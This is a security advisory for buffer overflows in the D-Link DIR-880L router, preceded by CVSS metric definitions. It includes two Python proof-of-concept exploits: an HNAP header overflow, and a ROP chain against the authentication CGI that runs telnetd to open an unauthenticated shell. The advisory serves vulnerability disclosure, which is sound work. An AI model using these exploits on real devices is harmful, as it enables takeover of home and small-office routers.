The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
D-Link DIR-880L Buffer Overflow## Advisory Information
Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities.
Vendors contacted: William Brown <[email protected]>, Patrick Cline [email protected](Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.
## Details
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
#Currently the address of exit function in libraray used as $PC
buf = "POST /HNAP1/ HTTP/1.0rnHOST: 192.168.1.8rnUser-Agent: testrnContent-Length: 1rnSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "x10xd0xffx76"+"B"*220
buf+= "rn" + "1rnrn"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="x44x77xf9x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="x70x82xFDx76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"xF8xD0xF9x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1rnHOST: 192.168.1.8rnUser-Agent: testrnAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rnConnection:keep-alivernrn"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley ([email protected])
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